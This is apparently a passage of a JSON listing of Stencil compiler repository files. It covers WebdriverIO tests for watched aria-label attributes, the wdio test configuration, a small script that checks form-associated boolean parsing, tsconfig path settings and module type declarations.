    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('watch native attributes', () => {\n  beforeEach(() => {\n    render({\n      components: [],\n      template: () => <watch-native-attributes aria-label=\"myStartingLabel\"></watch-native-attributes>,\n    });\n  });\n\n  it('triggers the callback for the watched attribute', async () => {\n    const $cmp = $('watch-native-attributes').$('div');\n    await $cmp.waitForExist();\n\n    await expect($cmp).toHaveText('Label: myStartingLabel\\nCallback triggered: false');\n\n    const cmp = document.querySelector('watch-native-attributes');\n    cmp.setAttribute('aria-label', 'myNewLabel');\n\n    await expect($cmp).toHaveText('Label: myNewLabel\\nCallback triggered: true');\n  });\n});\n"
  },
  {
    "path": "test/wdio/watch-native-attributes/cmp.tsx",
    "content": "import { Component, Element, h, State, Watch } from '@stencil/core';\n\n@Component({\n  tag: 'watch-native-attributes',\n})\nexport class WatchNativeAttributes {\n  @Element() el!: HTMLElement;\n\n  @State() callbackTriggered = false;\n\n  @Watch('aria-label')\n  onAriaLabelChange() {\n    this.callbackTriggered = true;\n  }\n\n  render() {\n    return (\n      <div>\n        <p>Label: {this.el.getAttribute('aria-label')}</p>\n        <p>Callback triggered: {`${this.callbackTriggered}`}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/watch-native-attributes/custom-tag-name.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\nimport { WatchNativeAttributes } from '../test-components/watch-native-attributes.js';\n\ndescribe('watch native attributes', () => {\n  beforeEach(() => {\n    customElements.define('some-custom-element', WatchNativeAttributes);\n    render({\n      components: [],\n      template: () => <some-custom-element aria-label=\"myStartingLabel\"></some-custom-element>,\n    });\n  });\n\n  it('triggers the callback for the watched attribute', async () => {\n    const $cmp = $('some-custom-element').$('div');\n    await $cmp.waitForExist();\n\n    await expect($cmp).toHaveText('Label: myStartingLabel\\nCallback triggered: false');\n\n    const cmp = document.querySelector('some-custom-element');\n    cmp.setAttribute('aria-label', 'myNewLabel');\n\n    await expect($cmp).toHaveText('Label: myNewLabel\\nCallback triggered: true');\n  });\n});\n"
  },
  {
    "path": "test/wdio/wdio.conf.ts",
    "content": "/// <reference types=\"@wdio/browser-runner\" />\n\nimport path from 'node:path';\n\nconst __dirname = path.dirname(new URL(import.meta.url).pathname);\nconst isCI = Boolean(process.env.CI);\n\n/**\n * Browser usage\n *\n * - based on the `BROWSER` environment variable\n * - if `BROWSER` is set to 'all' then we use all browsers\n * - if `BROWSER` is not set, then we default to just chrome\n * - if `BROWSER` is set to a browser name ('CHROME', 'FIREFOX', 'EDGE') then\n *   we run on that browser\n */\nconst BROWSER_CONFIGURATION = (() => {\n  switch (process.env.BROWSER) {\n    case 'ALL':\n      return 'ALL';\n    case 'CHROME':\n      return 'CHROME';\n    case 'FIREFOX':\n      return 'FIREFOX';\n    case 'EDGE':\n      return 'EDGE';\n    // we default to chrome in the case where the `BROWSER` env var ins't set\n    // to something (handy for local dev in particular)\n    default:\n      return 'CHROME';\n  }\n})();\n\nexport const config: WebdriverIO.Config = {\n  //\n  // ====================\n  // Runner Configuration\n  // ====================\n  // WebdriverIO supports running e2e tests as well as unit and component tests.\n  runner: [\n    'browser',\n    {\n      preset: 'stencil',\n      viteConfig: {\n        resolve: {\n          alias: {\n            '@stencil/core/internal': path.resolve(__dirname, '..', '..', 'internal'),\n            '@stencil/core': path.resolve(__dirname, '..', '..', 'internal'),\n          },\n        },\n      },\n    },\n  ],\n\n  //\n  // ==================\n  // Specify Test Files\n  // ==================\n  // Define which test specs should run. The pattern is relative to the directory\n  // of the configuration file being run.\n  //\n  // The specs are defined as an array of spec files (optionally using wildcards\n  // that will be expanded). The test for each spec file will be run in a separate\n  // worker process. In order to have a group of spec files run in the same worker\n  // process simply enclose them in an array within the specs array.\n  //\n  // The path of the spec files will be resolved relative from the directory of\n  // of the config file unless it's absolute.\n  //\n  specs: [['./**/*.test.tsx', './**/*.test.ts']],\n  // Patterns to exclude.\n  exclude: ['./node_modules/**'],\n  //\n  // ============\n  // Capabilities\n  // ============\n  // Define your capabilities here. WebdriverIO can run multiple capabilities at the same\n  // time. Depending on the number of capabilities, WebdriverIO launches several test\n  // sessions. Within your capabilities you can overwrite the spec and exclude options in\n  // order to group specific specs to a specific capability.\n  //\n  // First, you can define how many instances should be started at the same time. Let's\n  // say you have 3 different capabilities (Chrome, Firefox, and Safari) and you have\n  // set maxInstances to 1; wdio will spawn 3 processes. Therefore, if you have 10 spec\n  // files and you set maxInstances to 10, all spec files will get tested at the same time\n  // and 30 processes will get spawned. The property handles how many capabilities\n  // from the same test should run tests.\n  //\n  maxInstances: 10,\n  //\n  // we set this to an empty array here and programmatically add configuration below\n  //\n  capabilities: [],\n  //\n  // ===================\n  // Test Configurations\n  // ===================\n  // Define all options that are relevant for the WebdriverIO instance here\n  //\n  // Level of logging verbosity: trace | debug | info | warn | error | silent\n  logLevel: 'info',\n  outputDir: './test-output',\n  //\n  // Set specific log levels per logger\n  // loggers:\n  // - webdriver, webdriverio\n  // - @wdio/browserstack-service, @wdio/devtools-service, @wdio/sauce-service\n  // - @wdio/mocha-framework, @wdio/jasmine-framework\n  // - @wdio/local-runner\n  // - @wdio/sumologic-reporter\n  // - @wdio/cli, @wdio/config, @wdio/utils\n  // Level of logging verbosity: trace | debug | info | warn | error | silent\n  // logLevels: {\n  //     webdriver: 'info',\n  //     '@wdio/appium-service': 'info'\n  // },\n  //\n  // If you only want to run your tests until a specific amount of tests have failed use\n  // bail (default is 0 - don't bail, run all tests).\n  bail: 0,\n  //\n  // Set a base URL in order to shorten url command calls. If your `url` parameter starts\n  // with `/`, the base url gets prepended, not including the path portion of your baseUrl.\n  // If your `url` parameter starts without a scheme or `/` (like `some/path`), the base url\n  // gets prepended directly.\n  baseUrl: '',\n  //\n  // Default timeout for all waitFor* commands.\n  waitforTimeout: 3000,\n  //\n  // Default timeout in milliseconds for request\n  // if browser driver or grid doesn't send response\n  connectionRetryTimeout: 120000,\n  //\n  // Default request retries count\n  connectionRetryCount: 3,\n  //\n  // Test runner services\n  // Services take over a specific job you don't want to take care of. They enhance\n  // your test setup with almost no effort. Unlike plugins, they don't add new\n  // commands. Instead, they hook themselves up into the test process.\n  // services: [],\n  //\n  // Framework you want to run your specs with.\n  // The following are supported: Mocha, Jasmine, and Cucumber\n  // see also: https://webdriver.io/docs/frameworks\n  //\n  // Make sure you have the wdio adapter package for the specific framework installed\n  // before running any tests.\n  framework: 'mocha',\n\n  //\n  // The number of times to retry the entire specfile when it fails as a whole\n  specFileRetries: isCI ? 1 : 0,\n  //\n  // Delay in seconds between the spec file retry attempts\n  // specFileRetriesDelay: 0,\n  //\n  // Whether or not retried spec files should be retried immediately or deferred to the end of the queue\n  // specFileRetriesDeferred: false,\n  //\n  // Test reporter for stdout.\n  // The only one supported by default is 'dot'\n  // see also: https://webdriver.io/docs/dot-reporter\n  reporters: ['spec'],\n\n  // Options to be passed to Mocha.\n  // See the full list at http://mochajs.org/\n  mochaOpts: {\n    ui: 'bdd',\n    timeout: 60000,\n    retries: 1,\n    require: ['./setup.ts'],\n  },\n\n  //\n  // =====\n  // Hooks\n  // =====\n  // WebdriverIO provides several hooks you can use to interfere with the test process in order to enhance\n  // it and to build services around it. You can either apply a single function or an array of\n  // methods to it. If one of them returns with a promise, WebdriverIO will wait until that promise got\n  // resolved to continue.\n  /**\n   * Gets executed once before all workers get launched.\n   * @param {object} config wdio configuration object\n   * @param {Array.<Object>} capabilities list of capabilities details\n   */\n  // onPrepare: function (config, capabilities) {\n  // },\n  /**\n   * Gets executed before a worker process is spawned and can be used to initialize specific service\n   * for that worker as well as modify runtime environments in an async fashion.\n   * @param  {string} cid      capability id (e.g 0-0)\n   * @param  {object} caps     object containing capabilities for session that will be spawn in the worker\n   * @param  {object} specs    specs to be run in the worker process\n   * @param  {object} args     object that will be merged with the main configuration once worker is initialized\n   * @param  {object} execArgv list of string arguments passed to the worker process\n   */\n  // onWorkerStart: function (cid, caps, specs, args, execArgv) {\n  // },\n  /**\n   * Gets executed just after a worker process has exited.\n   * @param  {string} cid      capability id (e.g 0-0)\n   * @param  {number} exitCode 0 - success, 1 - fail\n   * @param  {object} specs    specs to be run in the worker process\n   * @param  {number} retries  number of retries used\n   */\n  // onWorkerEnd: function (cid, exitCode, specs, retries) {\n  // },\n  /**\n   * Gets executed just before initialising the webdriver session and test framework. It allows you\n   * to manipulate configurations depending on the capability or spec.\n   * @param {object} config wdio configuration object\n   * @param {Array.<Object>} capabilities list of capabilities details\n   * @param {Array.<String>} specs List of spec file paths that are to be run\n   * @param {string} cid worker id (e.g. 0-0)\n   */\n  // beforeSession: function (config, capabilities, specs, cid) {\n  // },\n  /**\n   * Gets executed before test execution begins. At this point you can access to all global\n   * variables like `browser`. It is the perfect place to define custom commands.\n   */\n  // before: async function () {\n  // },\n  /**\n   * Runs before a WebdriverIO command gets executed.\n   * @param {string} commandName hook command name\n   * @param {Array} args arguments that command would receive\n   */\n  // beforeCommand: function (commandName, args) {\n  // },\n  /**\n   * Hook that gets executed before the suite starts\n   * @param {object} suite suite details\n   */\n  // beforeSuite: function (suite) {\n  // },\n  /**\n   * Function to be executed before a test (in Mocha/Jasmine) starts.\n   */\n  // beforeTest: function (test, context) {\n  // },\n  /**\n   * Hook that gets executed _before_ a hook within the suite starts (e.g. runs before calling\n   * beforeEach in Mocha)\n   */\n  // beforeHook: function (test, context, hookName) {\n  // },\n  /**\n   * Hook that gets executed _after_ a hook within the suite starts (e.g. runs after calling\n   * afterEach in Mocha)\n   */\n  // afterHook: function (test, context, { error, result, duration, passed, retries }, hookName) {\n  // },\n  /**\n   * Function to be executed after a test (in Mocha/Jasmine only)\n   * @param {object}  test             test object\n   * @param {object}  context          scope object the test was executed with\n   * @param {Error}   result.error     error object in case the test fails, otherwise `undefined`\n   * @param {*}       result.result    return object of test function\n   * @param {number}  result.duration  duration of test\n   * @param {boolean} result.passed    true if test has passed, otherwise false\n   * @param {object}  result.retries   information about spec related retries, e.g. `{ attempts: 0, limit: 0 }`\n   */\n  // afterTest: function(test, context, { error, result, duration, passed, retries }) {\n  // },\n\n  /**\n   * Hook that gets executed after the suite has ended\n   * @param {object} suite suite details\n   */\n  // afterSuite: function (suite) {\n  // },\n  /**\n   * Runs after a WebdriverIO command gets executed\n   * @param {string} commandName hook command name\n   * @param {Array} args arguments that command would receive\n   * @param {number} result 0 - command success, 1 - command error\n   * @param {object} error error object if any\n   */\n  // afterCommand: function (commandName, args, result, error) {\n  // },\n  /**\n   * Gets executed after all tests are done. You still have access to all global variables from\n   * the test.\n   * @param {number} result 0 - test pass, 1 - test fail\n   * @param {Array.<Object>} capabilities list of capabilities details\n   * @param {Array.<String>} specs List of spec file paths that ran\n   */\n  // after: function (result, capabilities, specs) {\n  // },\n  /**\n   * Gets executed right after terminating the webdriver session.\n   * @param {object} config wdio configuration object\n   * @param {Array.<Object>} capabilities list of capabilities details\n   * @param {Array.<String>} specs List of spec file paths that ran\n   */\n  // afterSession: function (config, capabilities, specs) {\n  // },\n  /**\n   * Gets executed after all workers got shut down and the process is about to exit. An error\n   * thrown in the onComplete hook will result in the test run failing.\n   * @param {object} exitCode 0 - success, 1 - fail\n   * @param {object} config wdio configuration object\n   * @param {Array.<Object>} capabilities list of capabilities details\n   * @param {<Object>} results object containing test results\n   */\n  // onComplete: function(exitCode, config, capabilities, results) {\n  // },\n  /**\n   * Gets executed when a refresh happens.\n   * @param {string} oldSessionId session ID of the old session\n   * @param {string} newSessionId session ID of the new session\n   */\n  // onReload: function(oldSessionId, newSessionId) {\n  // }\n  /**\n   * Hook that gets executed before a WebdriverIO assertion happens.\n   * @param {object} params information about the assertion to be executed\n   */\n  // beforeAssertion: function(params) {\n  // }\n  /**\n   * Hook that gets executed after a WebdriverIO assertion happened.\n   * @param {object} params information about the assertion that was executed, including its results\n   */\n  // afterAssertion: function(params) {\n  // }\n};\n\nif (['CHROME', 'ALL'].includes(BROWSER_CONFIGURATION)) {\n  (config.capabilities as WebdriverIO.Capabilities[]).push({\n    browserName: 'chrome',\n    browserVersion: 'stable',\n    'wdio:enforceWebDriverClassic': true, // < this is 3x faster?\n  });\n}\n\n/**\n * Disable FF tests due to issues in the WebDriver protocol\n */\nif (['FIREFOX'].includes(BROWSER_CONFIGURATION)) {\n  (config.capabilities as WebdriverIO.Capabilities[]).push({\n    browserName: 'firefox',\n  });\n}\n\nif (['EDGE', 'ALL'].includes(BROWSER_CONFIGURATION)) {\n  (config.capabilities as WebdriverIO.Capabilities[]).push({\n    browserName: 'edge',\n  });\n}\n"
  },
  {
    "path": "test-form-associated.js",
    "content": "// Simple test to verify form-associated boolean attribute behavior\nconst { MEMBER_FLAGS } = require('./build/internal/app-data/index.cjs');\nconst { parsePropertyValue } = require('./build/internal/client/index.js');\n\nconsole.log('Testing form-associated boolean attribute parsing...');\n\n// Test 1: Non-form-associated component (legacy behavior)\nconsole.log('\\n=== Non-form-associated component ===');\nconst normalResult1 = parsePropertyValue('false', MEMBER_FLAGS.Boolean, false);\nconst normalResult2 = parsePropertyValue('true', MEMBER_FLAGS.Boolean, false);\nconst normalResult3 = parsePropertyValue('', MEMBER_FLAGS.Boolean, false);\n\nconsole.log('parsePropertyValue(\"false\", Boolean, false):', normalResult1); // Should be false (legacy)\nconsole.log('parsePropertyValue(\"true\", Boolean, false):', normalResult2); // Should be true\nconsole.log('parsePropertyValue(\"\", Boolean, false):', normalResult3); // Should be true\n\n// Test 2: Form-associated component (new behavior)\nconsole.log('\\n=== Form-associated component ===');\nconst formResult1 = parsePropertyValue('false', MEMBER_FLAGS.Boolean, true);\nconst formResult2 = parsePropertyValue('true', MEMBER_FLAGS.Boolean, true);\nconst formResult3 = parsePropertyValue('', MEMBER_FLAGS.Boolean, true);\n\nconsole.log('parsePropertyValue(\"false\", Boolean, true):', formResult1); // Should be true (new behavior!)\nconsole.log('parsePropertyValue(\"true\", Boolean, true):', formResult2); // Should be true\nconsole.log('parsePropertyValue(\"\", Boolean, true):', formResult3); // Should be true\n\n// Test 3: Test with non-string values (should behave the same)\nconsole.log('\\n=== Non-string values ===');\nconst boolResult1 = parsePropertyValue(false, MEMBER_FLAGS.Boolean, true);\nconst boolResult2 = parsePropertyValue(true, MEMBER_FLAGS.Boolean, true);\n\nconsole.log('parsePropertyValue(false, Boolean, true):', boolResult1); // Should be false\nconsole.log('parsePropertyValue(true, Boolean, true):', boolResult2); // Should be true\n\n// Summary\nconsole.log('\\n=== SUMMARY ===');\nconsole.log('✅ Fix successful if form-associated \"false\" becomes true');\nconsole.log('Form-associated disabled=\"false\" result:', formResult1 === true ? '✅ FIXED' : '❌ BROKEN');\nconsole.log('Legacy behavior preserved:', normalResult1 === false ? '✅ PRESERVED' : '❌ BROKEN');\n"
  },
  {
    "path": "tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"alwaysStrict\": true,\n    \"baseUrl\": \".\",\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"jsxFragmentFactory\": \"Fragment\",\n    \"lib\": [\"dom\", \"es2021\"],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"bundler\",\n    \"noImplicitAny\": true,\n    \"noImplicitOverride\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"outDir\": \"build\",\n    \"paths\": {\n      \"@app-data\": [\"src/app-data/index.ts\"],\n      \"@app-globals\": [\"src/app-globals/index.ts\"],\n      \"@environment\": [\"src/compiler/sys/environment.ts\"],\n      \"@dev-server-process\": [\"src/dev-server/server-process.ts\"],\n      \"@hydrate-factory\": [\"src/hydrate/runner/hydrate-factory.ts\"],\n      \"@platform\": [\"src/client/index.ts\"],\n      \"@runtime\": [\"src/runtime/index.ts\"],\n      \"@stencil/core/compiler\": [\"src/compiler/index.ts\"],\n      \"@stencil/core/declarations\": [\"src/declarations/index.ts\"],\n      \"@stencil/core/dev-server\": [\"src/dev-server/index.ts\"],\n      \"@stencil/core/internal\": [\"src/internal/index.ts\"],\n      \"@stencil/core/internal/client\": [\"src/client/index.ts\"],\n      \"@stencil/core/internal/client/patch-browser\": [\"src/client/client-patch-browser.ts\"],\n      \"@stencil/core/internal/client/patch-es\": [\"src/client/client-patch-esm.ts\"],\n      \"@stencil/core/internal/testing\": [\"src/testing/platform/index.ts\"],\n      \"@stencil/core/mock-doc\": [\"src/mock-doc/index.ts\"],\n      \"@stencil/core/testing\": [\"src/testing/index.ts\"],\n      \"@stencil/core/cli\": [\"src/cli/index.ts\"],\n      \"@sys-api-node\": [\"src/sys/node/index.ts\"],\n      \"@utils\": [\"src/utils/index.ts\"],\n      \"@utils/*\": [\"src/utils/*\"],\n      \"@utils/shadow-css\": [\"src/utils/shadow-css\"]\n    },\n    \"pretty\": true,\n    \"resolveJsonModule\": true,\n    \"skipLibCheck\": true,\n    \"sourceMap\": true,\n    \"strictBindCallApply\": true,\n    \"strictFunctionTypes\": true,\n    \"target\": \"es2022\",\n    \"useUnknownInCatchVariables\": true,\n    \"types\": [\"jest\", \"node\"]\n  },\n  \"files\": [\n    \"src/app-data/index.ts\",\n    \"src/app-globals/index.ts\",\n    \"src/cli/config-flags.ts\",\n    \"src/cli/index.ts\",\n    \"src/cli/public.ts\",\n    \"src/client/client-patch-browser.ts\",\n    \"src/client/index.ts\",\n    \"src/compiler/index.ts\",\n    \"src/compiler/public.ts\",\n    \"src/dev-server/client/index.ts\",\n    \"src/dev-server/dev-server-client/index.ts\",\n    \"src/dev-server/index.ts\",\n    \"src/hydrate/platform/index.ts\",\n    \"src/hydrate/runner/index.ts\",\n    \"src/internal/default.ts\",\n    \"src/internal/index.ts\",\n    \"src/mock-doc/index.ts\",\n    \"src/screenshot/index.ts\",\n    \"src/screenshot/pixel-match.ts\",\n    \"src/sys/node/index.ts\",\n    \"src/sys/node/public.ts\",\n    \"src/sys/node/worker.ts\",\n    \"src/testing/index.ts\",\n    \"src/testing/platform/index.ts\"\n  ],\n  \"include\": [\"types/*.d.ts\", \"src/declarations/*.ts\", \"src/**/*.spec.ts\", \"src/utils/**/*.ts\"]\n}\n"
  },
  {
    "path": "types/ionic-prettier-config.d.ts",
    "content": "declare module '@ionic/prettier-config';\n"
  },
  {
    "path": "types/merge-source-map.d.ts",
    "content": "/**\n * Ambient module declaration for the [merge-source-map library](https://github.com/keik/merge-source-map).\n *\n * At the time of this writing, no official nor third party type declaration files exist for v1.1.0 of library, and are\n * recreated here for type safety purposes.\n */\ndeclare module 'merge-source-map' {\n  /**\n   * Merge an existing sourcemap with a new one\n   *\n   * This type declaration differs from the output of running `tsc -d` on the entrypoint of the merge-source-map\n   * module. It prefers concrete `MergeSourceMap` formal arguments over `(object | string)`.\n   *\n   * @param oldMap the original sourcemap to merge\n   * @param newMap the new sourcemap to merge with the `oldMap`\n   * @returns the merged sourcemap, or undefined if both maps are falsy\n   */\n  function merge(\n    oldMap: import('../src/declarations').SourceMap,\n    newMap: import('../src/declarations').SourceMap,\n  ): import('../src/declarations').SourceMap | undefined;\n\n  /**\n   * mark the `merge` function as the default export of the module, so that the JSDoc for `merge` is properly picked up\n   * by IntelliSense\n   */\n  export = merge;\n}\n"
  }
]